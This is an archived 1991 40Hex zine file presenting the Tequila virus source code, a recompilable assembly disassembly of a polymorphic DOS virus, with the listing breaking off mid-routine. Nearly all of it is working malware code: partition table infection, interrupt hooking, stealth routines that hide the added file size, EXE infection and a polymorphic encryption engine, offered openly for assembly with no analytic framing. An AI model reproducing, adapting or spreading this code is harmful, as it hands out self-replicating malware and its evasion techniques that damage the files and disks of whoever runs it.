home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_4.012 < prev    next >
Text File  |  1995-01-03  |  23KB  |  1,101 lines

  1. 40Hex Issue 4                                            December 1991
  2.  
  3.                        The Tequila Virus Source
  4.                        -------------------------
  5.  
  6.     Nuff' said.
  7.  
  8. -------------------------------------------------------------------------------
  9.                    ;=============================
  10.                    ;      the tequila virus     =
  11.                    ;        a recompilable      =
  12.                    ;         dis-assembly       =
  13.                    ;    specifically designed   =
  14.                    ; for assembly to a COM file =
  15.                    ;  with the A86 assembler.   =
  16.                    ;     ++++++++++++++++++     =
  17.                    ; If you desire a "perfect"  =
  18.                    ; byte for byte source code  =
  19.                    ;match-up, the MASM assembler=
  20.                    ; must be used and the noted =
  21.                    ;instructions must be changed=
  22.                    ; to comply with MASM syntax.=
  23.                    ; In addition, all byte and  =
  24.                    ;word pointer references must=
  25.                    ; be changed from B and W to =
  26.                    ;   BYTE POINTER and WORD    =
  27.                    ;          POINTER.          =
  28.                    ;=============================
  29.  
  30.  
  31. CODE_SEG   SEGMENT
  32. ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
  33. ORG 0100
  34. TEQUILA PROC NEAR
  35.  
  36. JMP START
  37.  
  38.   DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
  39.   DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH
  40.  
  41.   DB 00DH, 00AH, 00DH, 00AH
  42.   DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
  43.   DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
  44.   DB "Switzerland.", 00DH, 00AH
  45.   DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
  46.   DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
  47.   DB "$"
  48.  
  49.   DB "Execute: mov ax, FE03 / int 21. Key to go on!"
  50.  
  51.  
  52. PROGRAM_TERMINATION_ROUTINE:
  53.    PUSH BP
  54.    MOV BP,SP
  55.    SUB SP,0CH
  56.    PUSH AX
  57.    PUSH BX
  58.    PUSH CX
  59.    PUSH DX
  60.    PUSH SI
  61.    PUSH DI
  62.    PUSH ES
  63.    PUSH DS
  64.    PUSH CS
  65.    POP DS
  66.    MOV AX,W[6]
  67.    INC AX
  68.    JE 0243H           ;Masm Mod. Needed
  69.    DEC AX
  70.    JNE 020DH           ;Masm Mod. Needed
  71.    DEC W[8]           ;Masm Mod. Needed
  72.    JNE 0243H           ;Masm Mod. Needed
  73.    JMP 0246H           ;Masm Mod. Needed
  74.    MOV AH,02AH
  75.    CALL INT_21
  76.    MOV SI,CX
  77.    MOV CX,W[8]
  78.    CMP CL,DL
  79.    JNE 022FH           ;Masm Mod. Needed
  80.    MOV AX,SI
  81.    SUB AX,W[6]
  82.    MUL B[011H]           ;Masm Mod. Needed
  83.    ADD AL,DH
  84.    ADD CH,3
  85.    CMP AL,CH
  86.    JAE 0237H           ;Masm Mod. Needed
  87.    MOV W[6],0FFFFH           ;Masm Mod. Needed
  88.    JMP 0243H           ;Masm Mod. Needed
  89.    MOV W[6],0           ;Masm Mod. Needed
  90.    MOV W[8],3           ;Masm Mod. Needed
  91.    JMP 02DF           ;Masm Mod. Needed
  92.    MOV BX,0B800H
  93.    INT 011
  94.    AND AX,030H
  95.    CMP AX,030H
  96.    JNE 0256H           ;Masm Mod. Needed
  97.    MOV BX,0B000H
  98.    MOV ES,BX
  99.    XOR BX,BX
  100.    MOV DI,0FD8FH
  101.    MOV SI,0FC18H
  102.    MOV W[BP-2],SI
  103.    MOV W[BP-4],DI
  104.    MOV CX,01E
  105.    MOV AX,W[BP-2]
  106.    IMUL AX
  107.    MOV W[BP-8],AX
  108.    MOV W[BP-6],DX
  109.    MOV AX,W[BP-4]
  110.    IMUL AX
  111.    MOV W[BP-0C],AX
  112.    MOV W[BP-0A],DX
  113.    ADD AX,W[BP-8]
  114.    ADC DX,W[BP-6]
  115.    CMP DX,0F
  116.    JAE 02B0           ;Masm Mod. Needed
  117.    MOV AX,W[BP-2]
  118.    IMUL W[BP-4]
  119.    IDIV W[0F]           ;Masm Mod. Needed
  120.    ADD AX,DI
  121.    MOV W[BP-4],AX
  122.    MOV AX,W[BP-8]
  123.    MOV DX,W[BP-6]
  124.    SUB AX,W[BP-0C]
  125.    SBB DX,W[BP-0A]
  126.    IDIV W[0D]           ;Masm Mod. Needed
  127.    ADD AX,SI
  128.    MOV W[BP-2],AX
  129.    LOOP 0269           ;Masm Mod. Needed
  130.    INC CX
  131.    SHR CL,1
  132.    MOV CH,CL
  133.    MOV CL,0DB
  134.    ES MOV W[BX],CX           ;Masm Mod. Needed
  135.    INC BX
  136.    INC BX
  137.    ADD SI,012
  138.    CMP SI,01B8
  139.    JL 0260           ;Masm Mod. Needed
  140.    ADD DI,034
  141.    CMP DI,02A3
  142.    JL 025D           ;Masm Mod. Needed
  143.    XOR DI,DI
  144.    MOV SI,0BB
  145.    MOV CX,02D
  146.    CLD
  147.    MOVSB
  148.    INC DI
  149.    LOOP 02D7           ;Masm Mod. Needed
  150.    XOR AX,AX
  151.    INT 016
  152.    POP DS
  153.    POP ES
  154.    POP DI
  155.    POP SI
  156.    POP DX
  157.    POP CX
  158.    POP BX
  159.    POP AX
  160.    MOV SP,BP
  161.    POP BP
  162.    RET
  163.  
  164. PRINT_MESSAGE:
  165.    PUSH DX
  166.    PUSH DS
  167.    PUSH CS
  168.    POP DS
  169.    MOV AH,9
  170.    MOV DX,012
  171.    CALL INT_21
  172.    POP DS
  173.    POP DX
  174.    RET
  175.  
  176. NEW_PARTITION_TABLE:
  177.    CLI
  178.    XOR BX,BX
  179.    MOV DS,BX
  180.    MOV SS,BX
  181.    MOV SP,07C00
  182.    STI
  183.    XOR DI,DI
  184.    SUB W[0413],3           ;Masm Mod. Needed
  185.    INT 012
  186.    MOV CL,6
  187.    SHL AX,CL
  188.    MOV ES,AX
  189.    PUSH ES
  190.    MOV AX,022A
  191.    PUSH AX
  192.    MOV AX,0205
  193.    MOV CX,W[07C30]
  194.    INC CX
  195.    MOV DX,W[07C32]
  196.    INT 013
  197.    RETF
  198.  
  199. DB 002, 0FE                      
  200. DB 04C, 0E9 
  201. DB 080, 004                
  202.  
  203.    PUSH CS
  204.    POP DS
  205.    XOR AX,AX
  206.    MOV ES,AX
  207.    MOV BX,07C00
  208.    PUSH ES
  209.    PUSH BX
  210.    MOV AX,0201
  211.    MOV CX,W[0226]
  212.    MOV DX,W[0228]
  213.    INT 013
  214.    PUSH CS
  215.    POP ES
  216.    CLD
  217.    MOV SI,0409
  218.    MOV DI,09BE
  219.    MOV CX,046
  220.    REP MOVSB
  221.    MOV SI,091B
  222.    MOV DI,0A04
  223.    MOV CX,045
  224.    REP MOVSB
  225.    CLI
  226.    XOR AX,AX
  227.    MOV ES,AX
  228.    ES LES BX,[070]           ;Masm Mod. Needed
  229.    MOV W[09B0],BX           ;Masm Mod. Needed
  230.    MOV W[09B2],ES           ;Masm Mod. Needed
  231.    MOV ES,AX
  232.    ES LES BX,[084]           ;Masm Mod. Needed
  233.    MOV W[09B4],BX           ;Masm Mod. Needed
  234.    MOV W[09B6],ES           ;Masm Mod. Needed
  235.    MOV ES,AX
  236.    ES MOV W[070],044F           ;Masm Mod. Needed
  237.    ES MOV W[072],DS           ;Masm Mod. Needed
  238.    STI
  239.    RETF
  240.  
  241. INSTALL:
  242.    CALL NEXT_LINE
  243.  NEXT_LINE:
  244.    POP SI
  245.    SUB SI,028F
  246.    PUSH SI
  247.    PUSH AX
  248.    PUSH ES
  249.    PUSH CS
  250.    POP DS
  251.    MOV AX,ES
  252.    ADD W[SI+2],AX
  253.    ADD W[SI+4],AX
  254.    DEC AX
  255.    MOV ES,AX
  256.    MOV AX,0FE02
  257.    INT 021
  258.    CMP AX,01FD
  259.    JE NO_PARTITION_INFECTION
  260.    ES CMP B[0],05A           ;Masm Mod. Needed
  261.    JNE NO_PARTITION_INFECTION
  262.    ES CMP W[3],0BB           ;Masm Mod. Needed
  263.    JBE NO_PARTITION_INFECTION
  264.    ES MOV AX,W[012]           ;Masm Mod. Needed
  265.    SUB AX,0BB
  266.    MOV ES,AX
  267.    XOR DI,DI
  268.    MOV CX,09A4
  269.    CLD
  270.    REP MOVSB
  271.    PUSH ES
  272.    POP DS
  273.    CALL INFECT_PARTITION_TABLE
  274.  NO_PARTITION_INFECTION:
  275.    POP ES
  276.    POP AX
  277.    PUSH ES
  278.    POP DS
  279.    POP SI
  280.    CS MOV SS,W[SI+4]           ;Masm Mod. Needed
  281.  CHAIN_TO_THE_HOST_FILE:
  282.    CS JMP D[SI]           ;Masm Mod. Needed
  283.  
  284. INFECT_PARTITION_TABLE:
  285.    MOV AH,02A
  286.    INT 021
  287.    MOV W[6],CX           ;Masm Mod. Needed
  288.    MOV W[8],DX           ;Masm Mod. Needed
  289.    MOV AH,052
  290.    INT 021
  291.    ES MOV AX,W[BX-2]           ;Masm Mod. Needed
  292.    MOV W[03E8],AX           ;Masm Mod. Needed
  293.    MOV AX,03513
  294.    INT 021
  295.    MOV W[09A0],BX           ;Masm Mod. Needed
  296.    MOV W[09A2],ES           ;Masm Mod. Needed
  297.    MOV AX,03501
  298.    INT 021
  299.    MOV SI,BX
  300.    MOV DI,ES
  301.    MOV AX,02501
  302.    MOV DX,03DA
  303.    INT 021
  304.    MOV B[0A],0           ;Masm Mod. Needed
  305.    PUSHF
  306.    POP AX
  307.    OR AX,0100
  308.    PUSH AX
  309.    POPF
  310.    MOV AX,0201
  311.    MOV BX,09A4
  312.    MOV CX,1
  313.    MOV DX,080
  314.    PUSH DS
  315.    POP ES
  316.    PUSHF
  317.    CALL D[09A0]           ;Masm Mod. Needed
  318.    PUSHF
  319.    POP AX
  320.    AND AX,0FEFF
  321.    PUSH AX
  322.    POPF
  323.    PUSHF
  324.    MOV AX,02501
  325.    MOV DX,SI
  326.    MOV DS,DI
  327.    INT 021
  328.    POPF
  329.    JAE 0450           ;Masm Mod. Needed
  330.    JMP RET           ;Masm Mod. Needed
  331.    PUSH ES
  332.    POP DS
  333.    CMP W[BX+02E],0FE02
  334.    JNE 045C           ;Masm Mod. Needed
  335.    JMP RET           ;Masm Mod. Needed
  336.    ADD BX,01BE
  337.    MOV CX,4
  338.    MOV AL,B[BX+4]
  339.    CMP AL,4
  340.    JE 0479           ;Masm Mod. Needed
  341.    CMP AL,6
  342.    JE 0479           ;Masm Mod. Needed
  343.    CMP AL,1
  344.    JE 0479           ;Masm Mod. Needed
  345.    ADD BX,010
  346.    LOOP 0463           ;Masm Mod. Needed
  347.    JMP SHORT RET           ;Masm Mod. Needed
  348.    MOV DL,080
  349.    MOV DH,B[BX+5]
  350.    MOV W[0228],DX           ;Masm Mod. Needed
  351.    MOV AX,W[BX+6]
  352.    MOV CX,AX
  353.    MOV SI,6
  354.    AND AX,03F
  355.    CMP AX,SI
  356.    JBE RET           ;Masm Mod. Needed
  357.    SUB CX,SI
  358.    MOV DI,BX
  359.    INC CX
  360.    MOV W[0226],CX           ;Masm Mod. Needed
  361.    MOV AX,0301
  362.    MOV BX,09A4
  363.    PUSHF
  364.    CALL D[09A0]           ;Masm Mod. Needed
  365.    JB RET           ;Masm Mod. Needed
  366.    DEC CX
  367.    MOV W[DI+6],CX
  368.    INC CX
  369.    SUB W[DI+0C],SI
  370.    SBB W[DI+0E],0
  371.    MOV AX,0305
  372.    MOV BX,0
  373.    INC CX
  374.    PUSHF
  375.    CALL D[09A0]           ;Masm Mod. Needed
  376.    JB RET           ;Masm Mod. Needed
  377.    MOV SI,01F6
  378.    MOV DI,09A4
  379.    MOV CX,034
  380.    CLD
  381.    REP MOVSB
  382.    MOV AX,0301
  383.    MOV BX,09A4
  384.    MOV CX,1
  385.    XOR DH,DH
  386.    PUSHF
  387.    CALL D[09A0]           ;Masm Mod. Needed
  388.    RET
  389.  
  390. NEW_INTERRUPT_ONE:
  391.    PUSH BP
  392.    MOV BP,SP
  393.    CS CMP B[0A],1           ;Masm Mod. Needed
  394.    JE 0506           ;Masm Mod. Needed
  395.    CMP W[BP+4],09B4
  396.    JA 050B           ;Masm Mod. Needed
  397.    PUSH AX
  398.    PUSH ES
  399.    LES AX,[BP+2]
  400.    CS MOV W[09A0],AX           ;Masm Mod. Needed
  401.    CS MOV W[09A2],ES           ;Masm Mod. Needed
  402.    CS MOV B[0A],1
  403.    POP ES
  404.    POP AX
  405.    AND W[BP+6],0FEFF
  406.    POP BP
  407.    IRET
  408.  
  409. NEW_INTERRUPT_13:
  410.    CMP CX,1
  411.    JNE 054E           ;Masm Mod. Needed
  412.    CMP DX,080
  413.    JNE 054E           ;Masm Mod. Needed
  414.    CMP AH,3
  415.    JA 054E           ;Masm Mod. Needed
  416.    CMP AH,2
  417.    JB 054E           ;Masm Mod. Needed
  418.    PUSH CX
  419.    PUSH DX
  420.    DEC AL
  421.    JE 0537           ;Masm Mod. Needed
  422.    PUSH AX
  423.    PUSH BX
  424.    ADD BX,0200
  425.    INC CX
  426.    PUSHF
  427.    CS CALL D[09A0]           ;Masm Mod. Needed
  428.    POP BX
  429.    POP AX
  430.    MOV AL,1
  431.    CS MOV CX,W[0226]           ;Masm Mod. Needed
  432.    CS MOV DX,W[0228]           ;Masm Mod. Needed
  433.    PUSHF
  434.    CS CALL D[09A0]           ;Masm Mod. Needed
  435.    POP DX
  436.    POP CX
  437.    RETF 2
  438.    CS JMP D[09A0]           ;Masm Mod. Needed
  439.  
  440. NEW_TIMER_TICK_INTERRUPT:
  441.    PUSH AX
  442.    PUSH BX
  443.    PUSH ES
  444.    PUSH DS
  445.    XOR AX,AX
  446.    MOV ES,AX
  447.    PUSH CS
  448.    POP DS
  449.    ES LES BX,[084]           ;Masm Mod. Needed
  450.    MOV AX,ES
  451.    CMP AX,0800
  452.    JA 05B0           ;Masm Mod. Needed
  453.    CMP AX,W[09B6]
  454.    JNE 0575           ;Masm Mod. Needed
  455.    CMP BX,W[09B4]
  456.    JE 05B0           ;Masm Mod. Needed
  457.    MOV W[09B4],BX           ;Masm Mod. Needed
  458.    MOV W[09B6],ES           ;Masm Mod. Needed
  459.    XOR AX,AX
  460.    MOV DS,AX
  461.    CS LES BX,[09B0]           ;Masm Mod. Needed
  462.    MOV W[070],BX           ;Masm Mod. Needed
  463.    MOV W[072],ES           ;Masm Mod. Needed
  464.    LES BX,[04C]           ;Masm Mod. Needed
  465.    CS MOV W[09A0],BX           ;Masm Mod. Needed
  466.    CS MOV W[09A2],ES           ;Masm Mod. Needed
  467.    MOV W[04C],09BE           ;Masm Mod. Needed
  468.    MOV W[04E],CS           ;Masm Mod. Needed
  469.    MOV W[084],04B1           ;Masm Mod. Needed
  470.    MOV W[086],CS           ;Masm Mod. Needed
  471.    POP DS
  472.    POP ES
  473.    POP BX
  474.    POP AX
  475.    IRET
  476.  
  477. INT_21_INTERCEPT:
  478.    CMP AH,011
  479.    JB CHECK_FOR_HANDLE
  480.    CMP AH,012
  481.    JA CHECK_FOR_HANDLE
  482.    CALL ADJUST_FCB_MATCHES
  483.    RETF 2
  484.  CHECK_FOR_HANDLE:
  485.    CMP AH,04E
  486.    JB CHECK_FOR_PREVIOUS_INSTALLATION
  487.    CMP AH,04F
  488.    JA CHECK_FOR_PREVIOUS_INSTALLATION
  489.    CALL ADJUST_HANDLE_MATCHES
  490.    RETF 2
  491.  CHECK_FOR_PREVIOUS_INSTALLATION:
  492.    CMP AX,0FE02
  493.    JNE CHECK_FOR_MESSAGE_PRINT
  494.    NOT AX
  495.    IRET
  496.  CHECK_FOR_MESSAGE_PRINT:
  497.    CMP AX,0FE03
  498.    JNE CHECK_FOR_EXECUTE
  499.    CS CMP W[6],0           ;Masm Mod. Needed
  500.    JNE CHAIN_TO_TRUE_INT_21
  501.    CALL PRINT_MESSAGE
  502.    IRET
  503.  CHECK_FOR_EXECUTE:
  504.    CMP AX,04B00
  505.    JE SET_STACK
  506.    CMP AH,04C
  507.    JNE CHAIN_TO_TRUE_INT_21
  508.  SET_STACK:
  509.    CS MOV W[09A6],SP           ;Masm Mod. Needed
  510.    CS MOV W[09A8],SS           ;Masm Mod. Needed
  511.    CLI
  512.    PUSH CS
  513.    POP SS
  514.    MOV SP,0AE5
  515.    STI
  516.    CMP AH,04C
  517.    JNE TO_AN_INFECTION
  518.    CALL PROGRAM_TERMINATION_ROUTINE
  519.    JMP SHORT NO_INFECTION
  520.  TO_AN_INFECTION:
  521.    CALL INFECT_THE_FILE
  522.  NO_INFECTION:
  523.    CLI
  524.    CS MOV SS,W[09A8]           ;Masm Mod. Needed
  525.    CS MOV SP,W[09A6]           ;Masm Mod. Needed
  526.    STI
  527.    JMP SHORT CHAIN_TO_TRUE_INT_21
  528.  CHAIN_TO_TRUE_INT_21:
  529.    CS INC W[09BC]           ;Masm Mod. Needed
  530.    CS JMP D[09B4]           ;Masm Mod. Needed
  531.  
  532. NEW_CRITICAL_ERROR_HANDLER:
  533.    MOV AL,3
  534.    IRET
  535.  
  536. ADJUST_FCB_MATCHES:
  537.    PUSH BX
  538.    PUSH ES
  539.    PUSH AX
  540.    MOV AH,02F
  541.    CALL INT_21
  542.    POP AX
  543.    PUSHF
  544.    CS CALL D[09B4]           ;Masm Mod. Needed
  545.    PUSHF
  546.    PUSH AX
  547.    CMP AL,0FF
  548.    JE 0664           ;Masm Mod. Needed
  549.    ES CMP B[BX],0FF           ;Masm Mod. Needed
  550.    JNE 064F           ;Masm Mod. Needed
  551.    ADD BX,7
  552.    ES MOV AL,B[BX+017]           ;Masm Mod. Needed
  553.    AND AL,01F
  554.    CMP AL,01F
  555.    JNE 0664           ;Masm Mod. Needed
  556.    ES SUB W[BX+01D],09A4           ;Masm Mod. Needed
  557.    ES SBB W[BX+01F],0           ;Masm Mod. Needed
  558.    POP AX
  559.    POPF
  560.    POP ES
  561.    POP BX
  562.    RET
  563.  
  564. ADJUST_HANDLE_MATCHES:
  565.    PUSH BX
  566.    PUSH ES
  567.    PUSH AX
  568.    MOV AH,02F
  569.    CALL INT_21
  570.    POP AX
  571.    PUSHF
  572.    CS CALL D[09B4]           ;Masm Mod. Needed
  573.    PUSHF
  574.    PUSH AX
  575.    JB 0691           ;Masm Mod. Needed
  576.    ES MOV AL,B[BX+016]           ;Masm Mod. Needed
  577.    AND AL,01F
  578.    CMP AL,01F
  579.    JNE 0691           ;Masm Mod. Needed
  580.    ES SUB W[BX+01A],09A4           ;Masm Mod. Needed
  581.    ES SBB W[BX+01C],0           ;Masm Mod. Needed
  582.    POP AX
  583.    POPF
  584.    POP ES
  585.    POP BX
  586.    RET
  587.  
  588. WRITE_TO_THE_FILE:
  589.    MOV AH,040
  590.    JMP 069C           ;Masm Mod. Needed
  591.  
  592. READ_FROM_THE_FILE:
  593.    MOV AH,03F
  594.    CALL 06B4           ;Masm Mod. Needed
  595.    JB RET           ;Masm Mod. Needed
  596.    SUB AX,CX
  597.    RET
  598.  
  599. MOVE_TO_END_OF_FILE:
  600.    XOR CX,CX
  601.    XOR DX,DX
  602.    MOV AX,04202
  603.    JMP 06B4           ;Masm Mod. Needed
  604.  
  605. MOVE_TO_BEGINNING_OF_FILE:
  606.    XOR CX,CX
  607.    XOR DX,DX
  608.    MOV AX,04200
  609.    CS MOV BX,W[09A4]           ;Masm Mod. Needed
  610.  
  611. INT_21:
  612.    CLI
  613.    PUSHF
  614.    CS CALL D[09B4]           ;Masm Mod. Needed
  615.    RET
  616.  
  617. INFECT_THE_FILE:
  618.    PUSH AX
  619.    PUSH BX
  620.    PUSH CX
  621.    PUSH DX
  622.    PUSH SI
  623.    PUSH DI
  624.    PUSH ES
  625.    PUSH DS
  626.    CALL CHECK_LETTERS_IN_FILENAME
  627.    JAE GOOD_NAME
  628.    JMP BAD_NAME
  629.  
  630. GOOD_NAME:
  631.    PUSH DX
  632.    PUSH DS
  633.    PUSH CS
  634.    POP DS
  635.  
  636. SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
  637.    MOV AX,03524
  638.    CALL INT_21
  639.    MOV W[09B8],BX           ;Masm Mod. Needed
  640.    MOV W[09BA],ES           ;Masm Mod. Needed
  641.    MOV AX,02524
  642.    MOV DX,052A
  643.    CALL INT_21
  644.    POP DS
  645.    POP DX
  646.  
  647. SAVE_AND_REPLACE_FILE_ATTRIBUTE:
  648.    MOV AX,04300
  649.    CALL INT_21
  650.    CS MOV W[09AA],CX           ;Masm Mod. Needed
  651.    JAE 06FE           ;Masm Mod. Needed
  652.    JMP RESTORE_CRIT_HANDLER
  653.    MOV AX,04301
  654.    XOR CX,CX
  655.    CALL INT_21
  656.    JB 077C           ;Masm Mod. Needed
  657.  
  658. OPEN_FILE_FOR_READ_WRITE:
  659.    MOV AX,03D02
  660.    CALL INT_21
  661.    JB 0771           ;Masm Mod. Needed
  662.    PUSH DX
  663.    PUSH DS
  664.    PUSH CS
  665.    POP DS
  666.    MOV W[09A4],AX           ;Masm Mod. Needed
  667.  
  668. GET_FILEDATE:
  669.    MOV AX,05700
  670.    CALL 06B4           ;Masm Mod. Needed
  671.    JB 075C           ;Masm Mod. Needed
  672.    MOV W[09AC],DX           ;Masm Mod. Needed
  673.    MOV W[09AE],CX           ;Masm Mod. Needed
  674.  
  675. READ_AND_CHECK_EXE_HEADER:
  676.    CALL 06AD           ;Masm Mod. Needed
  677.    MOV DX,0A49
  678.    MOV CX,01C
  679.    CALL 069A           ;Masm Mod. Needed
  680.    JB 075C           ;Masm Mod. Needed
  681.    PUSH DS
  682.    POP ES
  683.    MOV DI,0E8
  684.    MOV CX,020
  685.    CMP W[0A49],05A4D           ;Masm Mod. Needed
  686.    JNE 075C           ;Masm Mod. Needed
  687.    MOV AX,W[0A5B]
  688.    CLD
  689.    REPNE SCASW
  690.    JNE 0754           ;Masm Mod. Needed
  691.    OR W[09AE],01F           ;Masm Mod. Needed
  692.    JMP 075C           ;Masm Mod. Needed
  693.    CALL READ_PAST_END_OF_FILE
  694.    JB 075C           ;Masm Mod. Needed
  695.    CALL ENCRYPT_AND_WRITE_TO_FILE
  696.  
  697. RESTORE_ALTERED_DATE:
  698.    MOV AX,05701
  699.    MOV DX,W[09AC]
  700.    MOV CX,W[09AE]
  701.    CALL 06B4           ;Masm Mod. Needed
  702.  
  703. CLOSE_THE_FILE:
  704.    MOV AH,03E
  705.    CALL 06B4           ;Masm Mod. Needed
  706.  
  707. RESTORE_FILE_ATTRIBUTE:
  708.    POP DS
  709.    POP DX
  710.    MOV AX,04301
  711.    CS MOV CX,W[09AA]           ;Masm Mod. Needed
  712.    CALL INT_21
  713.  
  714. RESTORE_CRIT_HANDLER:
  715.    MOV AX,02524
  716.    CS LDS DX,[09B8]           ;Masm Mod. Needed
  717.    CALL INT_21
  718.  
  719. BAD_NAME:
  720.    POP DS
  721.    POP ES
  722.    POP DI
  723.    POP SI
  724.    POP DX
  725.    POP CX
  726.    POP BX
  727.    POP AX
  728.    RET
  729.  
  730. CHECK_LETTERS_IN_FILENAME:
  731.    PUSH DS
  732.    POP ES
  733.    MOV DI,DX
  734.    MOV CX,-1
  735.    XOR AL,AL
  736.    CLD
  737.    REPNE SCASB
  738.    NOT CX
  739.    MOV DI,DX
  740.    MOV AX,04353
  741.    MOV SI,CX
  742.    SCASW
  743.    JE 07B7           ;Masm Mod. Needed
  744.    DEC DI
  745.    LOOP 07A5           ;Masm Mod. Needed
  746.    MOV CX,SI
  747.    MOV DI,DX
  748.    MOV AL,056
  749.    REPNE SCASB
  750.    JE 07B7           ;Masm Mod. Needed
  751.    CLC
  752.    RET
  753.    STC
  754.    RET
  755.  
  756. READ_PAST_END_OF_FILE:
  757.    MOV CX,-1
  758.    MOV DX,-0A
  759.    CALL 06A8           ;Masm Mod. Needed
  760.    MOV DX,0A65
  761.    MOV CX,8
  762.    CALL 069A           ;Masm Mod. Needed
  763.    JB RET           ;Masm Mod. Needed
  764.    CMP W[0A65],0FDF0           ;Masm Mod. Needed
  765.    JNE 07F0           ;Masm Mod. Needed
  766.    CMP W[0A67],0AAC5           ;Masm Mod. Needed
  767.    JNE 07F0           ;Masm Mod. Needed
  768.    MOV CX,-1
  769.    MOV DX,-9
  770.    CALL 06A8           ;Masm Mod. Needed
  771.    MOV DX,0A6B
  772.    MOV CX,4
  773.    CALL 0696           ;Masm Mod. Needed
  774.    RET
  775.    CLC
  776.    RET
  777.  
  778. ENCRYPT_AND_WRITE_TO_FILE:
  779.    CALL MOVE_TO_END_OF_FILE
  780.    MOV SI,AX
  781.    MOV DI,DX
  782.    MOV BX,0A49
  783.    MOV AX,W[BX+4]
  784.    MUL W[0D]           ;Masm Mod. Needed
  785.    SUB AX,SI
  786.    SBB DX,DI
  787.    JAE 080C           ;Masm Mod. Needed
  788.    JMP OUT_OF_ENCRYPT
  789.    MOV AX,W[BX+8]
  790.    MUL W[0B]           ;Masm Mod. Needed
  791.    SUB SI,AX
  792.    SBB DI,DX
  793.    MOV AX,W[BX+0E]
  794.    MOV W[4],AX           ;Masm Mod. Needed
  795.    ADD W[4],010           ;Masm Mod. Needed
  796.    MUL W[0B]           ;Masm Mod. Needed
  797.    ADD AX,W[BX+010]
  798.    SUB AX,SI
  799.    SBB DX,DI
  800.    JB 083C           ;Masm Mod. Needed
  801.    SUB AX,080
  802.    SBB DX,0
  803.    JB RET           ;Masm Mod. Needed
  804.    ADD W[BX+0E],09B
  805.    MOV AX,W[BX+016]
  806.    ADD AX,010
  807.    MOV W[2],AX           ;Masm Mod. Needed
  808.    MOV AX,W[BX+014]
  809.    MOV W[0],AX           ;Masm Mod. Needed
  810.    CALL 06A4           ;Masm Mod. Needed
  811.    ADD AX,09A4
  812.    ADC DX,0
  813.    DIV W[0D]           ;Masm Mod. Needed
  814.    INC AX
  815.    MOV W[0A4D],AX           ;Masm Mod. Needed
  816.    MOV W[0A4B],DX           ;Masm Mod. Needed
  817.    MOV DX,DI
  818.    MOV AX,SI
  819.    DIV W[0B]           ;Masm Mod. Needed
  820.    MOV W[0A5F],AX           ;Masm Mod. Needed
  821.    MOV BX,DX
  822.    ADD DX,0960
  823.    MOV W[0A5D],DX           ;Masm Mod. Needed
  824.    CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
  825.    JB RET           ;Masm Mod. Needed
  826.    OR W[09AE],01F           ;Masm Mod. Needed
  827.    MOV BX,W[09BC]
  828.    AND BX,01F
  829.    SHL BX,1
  830.    MOV AX,W[BX+0E8]
  831.    MOV W[0A5B],AX           ;Masm Mod. Needed
  832.    CALL MOVE_TO_BEGINNING_OF_FILE
  833.    MOV CX,01C
  834.    MOV DX,0A49
  835.  
  836. WRITE_THE_NEW_HEADER:
  837.    CALL 0696           ;Masm Mod. Needed
  838.  OUT_OF_ENCRYPT:
  839.    RET
  840.  
  841. COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
  842.    PUSH BP
  843.    XOR AH,AH
  844.    INT 01A
  845.    MOV AX,DX
  846.    MOV BP,DX
  847.    PUSH DS
  848.    POP ES
  849.    MOV DI,0960
  850.    MOV SI,DI
  851.    MOV CX,020
  852.    CLD
  853.    REP STOSW
  854.    XOR DX,DX
  855.    MOV ES,DX
  856.    CALL ENCRYPT_STEP_ONE
  857.    CALL ENCRYPT_STEP_TWO
  858.    CALL ENCRYPT_STEP_THREE
  859.    MOV B[SI],0E9
  860.    MOV DI,028C
  861.    SUB DI,SI
  862.    SUB DI,3
  863.    INC SI
  864.    MOV W[SI],DI
  865.    MOV AX,0A04
  866.    CALL AX
  867.    POP BP
  868.    RET
  869.  
  870. ENCRYPT_STEP_ONE:
  871.    DEC BP
  872.    ES TEST B[BP],2           ;Masm Mod. Needed
  873.    JNE 08EB           ;Masm Mod. Needed
  874.    MOV B[SI],0E
  875.    INC SI
  876.    CALL GARBLER
  877.    MOV B[SI],01F
  878.    INC SI
  879.    CALL GARBLER
  880.    RET
  881.    MOV W[SI],0CB8C
  882.    INC SI
  883.    INC SI
  884.    CALL GARBLER
  885.    MOV W[SI],0DB8E
  886.    INC SI
  887.    INC SI
  888.    CALL GARBLER
  889.    RET
  890.  
  891. ENCRYPT_STEP_TWO:
  892.    AND CH,0FE
  893.    DEC BP
  894.    ES TEST B[BP],2           ;Masm Mod. Needed
  895.    JE 0920           ;Masm Mod. Needed
  896.    OR CH,1
  897.    MOV B[SI],0BE
  898.    INC SI
  899.    MOV W[SI],BX
  900.    INC SI
  901.    INC SI
  902.    CALL GARBLER
  903.    ADD BX,0960
  904.    TEST CH,1
  905.    JE 0934           ;Masm Mod. Needed
  906.    MOV B[SI],0BB
  907.    INC SI
  908.    MOV W[SI],BX
  909.    INC SI
  910.    INC SI
  911.    CALL GARBLER
  912.    ADD BX,0960
  913.    TEST CH,1
  914.    JE 090C           ;Masm Mod. Needed
  915.    SUB BX,0960
  916.    CALL GARBLER
  917.    MOV B[SI],0B9
  918.    INC SI
  919.    MOV AX,0960
  920.    MOV W[SI],AX
  921.    INC SI
  922.    INC SI
  923.    CALL GARBLER
  924.    CALL GARBLER
  925.    RET
  926.  
  927. ENCRYPT_STEP_THREE:
  928.    MOV AH,014
  929.    MOV DH,017
  930.    TEST CH,1
  931.    JE 0958           ;Masm Mod. Needed
  932.    XCHG DH,AH
  933.    MOV DI,SI
  934.    MOV AL,08A
  935.    MOV W[SI],AX
  936.    INC SI
  937.    INC SI
  938.    CALL GARBLER
  939.    XOR DL,DL
  940.    MOV B[0A39],028           ;Masm Mod. Needed
  941.    DEC BP
  942.    ES TEST B[BP],2           ;Masm Mod. Needed
  943.    JE 0978           ;Masm Mod. Needed
  944.    MOV DL,030
  945.    MOV B[0A39],DL           ;Masm Mod. Needed
